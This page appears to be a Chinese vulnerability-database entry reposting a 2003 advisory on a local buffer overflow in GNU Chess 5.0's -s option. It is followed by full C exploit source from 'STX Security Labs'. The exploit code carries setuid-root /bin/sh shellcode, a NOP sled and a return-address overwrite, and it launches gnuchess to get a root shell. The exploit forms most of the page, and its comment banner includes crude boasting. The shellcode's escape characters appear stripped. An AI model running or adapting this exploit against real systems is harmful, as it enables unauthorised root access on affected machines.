GNU Chess 5.0 – Local Buffer Overflow
漏洞ID | 1054006 | 漏洞类型 | |
发布时间 | 2003-07-03 | 更新时间 | 2003-07-03 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8097/info
A local buffer overflow has been reported for GNU Chess that may result in an attacker obtaining elevated privileges.
The vulnerability exists due to insufficient boundary checks performed on some commandline options.
Successful exploitation may result in the execution of attacker-supplied code. To be exploited for elevated privileges, the software must be setuid or setgid. Since GNU Chess is used as a back-end for some chess-related software, a situation could arise where it is invoked with user-supplied arguments by another program.
/*
STX SECURITY LABS:
5358gchessfuck.c - x86 local buffer overflow exploit
proof of concept code by: ace [ [email protected] ]
vulnerability discovered by: t0asty [ [email protected] ]
Description:
gnuchess is an updated version of the GNU chess playing program.
It has a simple alpha-numeric board display, an IBM PC compatible interface,
or it can be compiled for use with the chesstool program on a SUN workstation
or with the xboard program under X-windows.
Vulnerability:
A buffer overflow vulnerability resides in gnuchess.
A segmentation fault occurs when 652 bytes of data are sent to
the binary using the -s switch. The data overwrites the EIP therefore
it allows us to control the pointer, allowing us to execute code.
Versions vulnerable:
[-] All versions are believed to be vulnerable.
Tested on: Red Hat 7.3 with the latest version.
**************************************************
* Note: gnuchess may not be suid on all systems. *
**************************************************
StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
X X
X STX ONLINE [ www.static-x.org ] X
X X
StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
**************************************************
* Note: our pen0rs are 50 x larger than yours. *
**************************************************
*/
#include <stdio.h>
char stxcode[] =
/* ace's shellcode [ [email protected] ] (setuid=0,/bin/sh) */
"x31xdbx89xd8xb0x17xcdx80xebx03x5exebx05xe8xf8xff"
"xffxffx83xc6x0dx31xc9xb1x50x80x36x01x46xe2xfaxea"
"x09x2ex63x68x6fx2ex72x69x01x80xedx66x2ax01x01x54"
"x88xe4x82xedx11x57x52xe9x01x01x01x01x5ax80xc2xb6"
"x11x01x01x8cxb2x2fxeexfexfexc6x44xfdx01x01x01x01"
"x88x74xf9x8cx4cxf9x30xd3xb9x0ax01x01x01x52x88xf2"
"xccx81x5ax5fxc8xc2x91x91x91x91x91x91x91x91x91";
unsigned long pen0r(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv) {
int pos; int ace = pen0r(); int stxnop = 0x90;
int stxbytes = 648; int stxtotal = stxbytes + 4;
char *stxbof;
stxbof = (char *)malloc(stxbytes);
for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
*(long *)&stxbof[stxbytes] = pen0r();
memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
system("clear");
printf("########################################n");
printf("# [ STX SECURITY LABS ] #n");
printf("# gnuchess local poc exploit by: ace #n");
printf("########################################nn");
printf("[+] Return Address: 0x%xn", ace);
printf("[+] Buffer Size: %dn", stxtotal);
printf("[-] /usr/bin/gnuchess -s pwned!nn");
execl("/usr/bin/gnuchess", "gnuchess", "-s", stxbof, NULL);
return 0;
}
Sendmail拒绝服务漏洞 漏洞ID 1207224 漏洞类型 未知 发布时间 1999-01-01 更新时间 1999-01-01 CVE编号 CVE-1999-0205 CNNVD-ID CNNVD-199901-008 漏洞平台 N/A CVSS评分 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666